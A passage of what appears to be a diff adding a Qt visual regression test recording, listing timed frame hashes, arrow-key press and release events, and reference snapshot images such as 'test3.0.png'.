"f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 176 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 192 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 208 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 224 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 240 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 256 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 272 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 288 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 304 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 320 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 336 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 352 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 368 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 384 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 400 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 416 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 432 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 448 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 464 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 480 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 496 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 512 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 528 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 544 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 560 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 576 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Frame { + msec: 592 + hash: "f3b4cab7975190f756c923f16ce4c298" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 608 + hash: "ed71dfbe146870d1a0869d60c35ff9d7" + } + Frame { + msec: 624 + hash: "ed71dfbe146870d1a0869d60c35ff9d7" + } + Frame { + msec: 640 + hash: "34796cef9feb92f7f0e2e8d837d87d34" + } + Frame { + msec: 656 + hash: "64fa8f195b57077aa03ca264fec9554a" + } + Frame { + msec: 672 + hash: "ae33318904415e937363787273ecb566" + } + Frame { + msec: 688 + hash: "67c3e1c8c728e7677a3554aadd9795c9" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 704 + hash: "1857db7aa9eefe429d50e5b2ad87064b" + } + Frame { + msec: 720 + hash: "507883a03bef0bc20755da1474731fdf" + } + Frame { + msec: 736 + hash: "dafe7464394460e04d482c1f7a1e9ad0" + } + Frame { + msec: 752 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 768 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 784 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 800 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 816 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 832 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 848 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 864 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 880 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 896 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 912 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 928 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 944 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 960 + image: "test3.0.png" + } + Frame { + msec: 976 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 992 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 1008 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 1024 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 1040 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 1056 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 1072 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Frame { + msec: 1088 + hash: "358a3fbfa70526a40f2179cb2fd100d4" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1104 + hash: "7fb8cb07b6bca30912706cec43984d92" + } + Frame { + msec: 1120 + hash: "7fb8cb07b6bca30912706cec43984d92" + } + Frame { + msec: 1136 + hash: "c1915978cda982f6062790b2a583211b" + } + Frame { + msec: 1152 + hash: "afdb50d740b3dc7be44021d826be4302" + } + Frame { + msec: 1168 + hash: "4682717b9375b4b02a70378ddca30885" + } + Frame { + msec: 1184 + hash: "aede0eebb3948a4a764e255b892b09be" + } + Frame { + msec: 1200 + hash: "b42a147daec14a3da2548fd4de3a9a44" + } + Frame { + msec: 1216 + hash: "2ff70f916f78fe3c199eb96ceb44ce4e" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1232 + hash: "707ac8e58d317b97113903b45a482f6b" + } + Frame { + msec: 1248 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1264 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1280 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1296 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1312 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1328 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1344 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1360 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1376 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1392 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1408 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1424 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1440 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1456 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1472 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1488 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1504 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Frame { + msec: 1520 + hash: "201b90bc27073e945bb00c85501f4dc8" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1536 + hash: "91525556fe23764f58b3a3f38a29cd76" + } + Frame { + msec: 1552 + hash: "91525556fe23764f58b3a3f38a29cd76" + } + Frame { + msec: 1568 + hash: "d1dc625bbf46fc51aaf47969ad27a8a4" + } + Frame { + msec: 1584 + hash: "7d868176c7a8363a79ef8b8f4da56867" + } + Frame { + msec: 1600 + hash: "d239e0b0e118d351680c6b4b2bc5d3b2" + } + Frame { + msec: 1616 + hash: "8f6d1640dbc655eb3b326c66fcb97d3c" + } + Frame { + msec: 1632 + hash: "d52b623b8449d71734f72c7bd661a1c4" + } + Frame { + msec: 1648 + hash: "f7c0c77f3b5ed71321edd6bc7b605512" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1664 + hash: "8b26397ff1a83baa894f82594a12a190" + } + Frame { + msec: 1680 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1696 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1712 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1728 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1744 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1760 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1776 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1792 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1808 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1824 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1840 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1856 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1872 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1888 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1904 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1920 + image: "test3.1.png" + } + Frame { + msec: 1936 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1952 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1968 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 1984 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Frame { + msec: 2000 + hash: "7ee37281a3f5788305f779bdd33852e5" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2016 + hash: "f63308a7cd48a8cb4d413d17120f5a26" + } + Frame { + msec: 2032 + hash: "f63308a7cd48a8cb4d413d17120f5a26" + } + Frame { + msec: 2048 + hash: "2e97db8ed93524dc197e76cc2d270999" + } + Frame { + msec: 2064 + hash: "2b135d90684c0f94b8219c4b835b6da9" + } + Frame { + msec: 2080 + hash: "c700a76932bb3bf72868b9e95d095db2" + } + Frame { + msec: 2096 + hash: "08136d3c3de44ddab23d2d136ba1f310" + } + Frame { + msec: 2112 + hash: "de701d641e004b61a3c0609556f52fe0" + } + Frame { + msec: 2128 + hash: "4f7acd87f4de119ad88a53d2c9881037" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2144 + hash: "deaf3c8a4680ef6f52cb4674a97e0767" + } + Frame { + msec: 2160 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2176 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2192 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2208 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2224 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2240 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2256 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2272 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2288 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2304 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2320 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2336 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2352 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2368 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2384 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2400 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2416 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2432 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2448 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2464 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2480 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2496 + hash: "224ade5c942415100b5418a11d043611" + } + Frame { + msec: 2512 + hash: "224ade5c942415100b5418a11d043611" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2528 + hash: "fe67b3a48a8a074377be64f619d5922a" + } + Frame { + msec: 2544 + hash: "fe67b3a48a8a074377be64f619d5922a" + } + Frame { + msec: 2560 + hash: "088691f4f46f7a8c9a3b8ea766d9a437" + } + Frame { + msec: 2576 + hash: "bd747ea04c3b36378374f8ea1031458f" + } + Frame { + msec: 2592 + hash: "2ebd0e3373eb75a3ad986e203952f78a" + } + Frame { + msec: 2608 + hash: "b4d89e4f3aef9f351facd13bd83f3022" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2624 + hash: "091de1bd1719e1fa6d914cf9708f4ac6" + } + Frame { + msec: 2640 + hash: "0097d8ed156cb0c78c48dfacc557cba8" + } + Frame { + msec: 2656 + hash: "faeb379e01283cb21ea695e96727918d" + } + Frame { + msec: 2672 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2688 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2704 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2720 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2736 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2752 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2768 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2784 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2800 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2816 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2832 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2848 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2864 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2880 + image: "test3.2.png" + } + Frame { + msec: 2896 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2912 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2928 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2944 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2960 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Frame { + msec: 2976 + hash: "dc708a762ba7f1120eb14105571943f8" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2992 + hash: "b00a29d67edc26e75f5298b2836d4e47" + } + Frame { + msec: 3008 + hash: "b00a29d67edc26e75f5298b2836d4e47" + } + Frame { + msec: 3024 + hash: "6e47c87b5063877a609e8d23ddf2d314" + } + Frame { + msec: 3040 + hash: "06f147a69c3e903905376ef1229290bf" + } + Frame { + msec: 3056 + hash: "5f02ff1a1207f17efd224ccc800b0057" + } + Frame { + msec: 3072 + hash: "6c0860fdb216bb79fd2da4647792628d" + } + Frame { + msec: 3088 + hash: "eb579f67620adb762722428d44a1d841" + } + Frame { + msec: 3104 + hash: "c579017a82e34a471a95f8a116a20b9e" + } + Frame { + msec: 3120 + hash: "bb5c08ff104b230829579dfb8015bdcc" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3136 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3152 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3168 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3184 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3200 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3216 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3232 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3248 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3264 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3280 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3296 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3312 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3328 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3344 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3360 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3376 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3392 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3408 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3424 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3440 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3456 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3472 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Frame { + msec: 3488 + hash: "f209867bbf74dbe0385655a522e322f1" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3504 + hash: "5aa664f268433f2724a1ab2cea1d6d25" + } + Frame { + msec: 3520 + hash: "5aa664f268433f2724a1ab2cea1d6d25" + } + Frame { + msec: 3536 + hash: "9e4854fd0c533efa75aec7d9a8bc41dd" + } + Frame { + msec: 3552 + hash: "c4eee4eca804007dca6e6d9379cbfb1b" + } + Frame { + msec: 3568 + hash: "c59774f00d54c0353b41202a39fc0dbd" + } + Frame { + msec: 3584 + hash: "910e6b5b05530c60874eee00df0d62cf" + } + Frame { + msec: 3600 + hash: "5b606a7a697c6d53fbe42e33333f96cc" + } + Frame { + msec: 3616 + hash: "e1fce42312e8a31d74add4a447dd3df9" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3632 + hash: "6250cb9ea51309922cf0a6647593bfee" + } + Frame { + msec: 3648 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3664 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3680 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3696 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3712 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3728 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3744 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3760 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3776 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3792 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3808 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3824 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3840 + image: "test3.3.png" + } + Frame { + msec: 3856 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3872 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3888 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3904 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3920 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3936 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3952 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3968 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 3984 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4000 + hash: "d6eecfb695deacae4bb2fe5adb2d5c3d" + } + Frame { + msec: 4016 + hash: "d6eecfb695deacae4bb2fe5adb2d5c3d" + } + Frame { + msec: 4032 + hash: "b48f481a8149c03139e29b619dbb3f3c" + } + Frame { + msec: 4048 + hash: "994ba7fc208bbf081d54384d82d0fc07" + } + Frame { + msec: 4064 + hash: "05d30293c12eb6a3e21cebd42bb1f383" + } + Frame { + msec: 4080 + hash: "f2b4140a5d26f241a27e2a3027785559" + } + Frame { + msec: 4096 + hash: "1189e519fd1611c5603e598fbcadca44" + } + Frame { + msec: 4112 + hash: "ee98893d95e55cb76966c0cfe29d237b" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4128 + hash: "9ff3010efeb8707c864def782405ad4c" + } + Frame { + msec: 4144 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4160 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4176 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4192 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4208 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4224 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4240 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4256 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4272 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4288 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4304 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4320 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4336 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4352 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4368 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4384 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4400 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4416 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4432 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4448 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4464 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4480 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4496 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4512 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4528 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4544 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4560 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4576 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4592 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4608 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4624 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4640 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4656 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4672 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4688 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4704 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4720 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4736 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4752 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4768 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4784 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4800 + image: "test3.4.png" + } + Frame { + msec: 4816 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4832 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4848 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4864 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4880 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4896 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4912 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4928 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4944 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4960 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4976 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 4992 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 5008 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 5024 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 5040 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 5056 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 5072 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 5088 + hash: "c842d544f87332bc133833e8966240ee" + } + Frame { + msec: 5104 + hash: "c842d544f87332bc133833e8966240ee" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 5120 + hash: "a857238777462319fcedd4f359ce1a04" + } + Frame { + msec: 5136 + hash: "a857238777462319fcedd4f359ce1a04" + } + Frame { + msec: 5152 + hash: "d9248d1257bf0232dcdf29fca7536ad1" + } + Frame { + msec: 5168 + hash: "0405e029cc4b2fa80761c06fb8898b0d" + } + Frame { + msec: 5184 + hash: "a36fb7e32e6aafbb84b62ef56be3cf70" + } + Frame { + msec: 5200 + hash: "9846c73bbe57277bd36bbca1c489e644" + } + Frame { + msec: 5216 + hash: "8f4840715082c48d520ddb55501cf8eb" + } + Frame { + msec: 5232 + hash: "478fde3a6fd8cecc222b8c16743d231f" + } + Key { + type: 7 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 5248 + hash: "b2bb760c93d26c6db21ce6beccd36b66" + } + Frame { + msec: 5264 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5280 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5296 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5312 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5328 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5344 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5360 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5376 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5392 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5408 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5424 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5440 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5456 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5472 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5488 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5504 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5520 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5536 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5552 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5568 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5584 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5600 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5616 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5632 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5648 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5664 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5680 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5696 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Frame { + msec: 5712 + hash: "1ef605e1a68ff993f4f971a85a6bee97" + } + Key { + type: 6 + key: 16777234 + modifiers: 536870912 + text: "1c" + autorep: false + count: 1 + } + Frame { + msec: 5728 + hash: 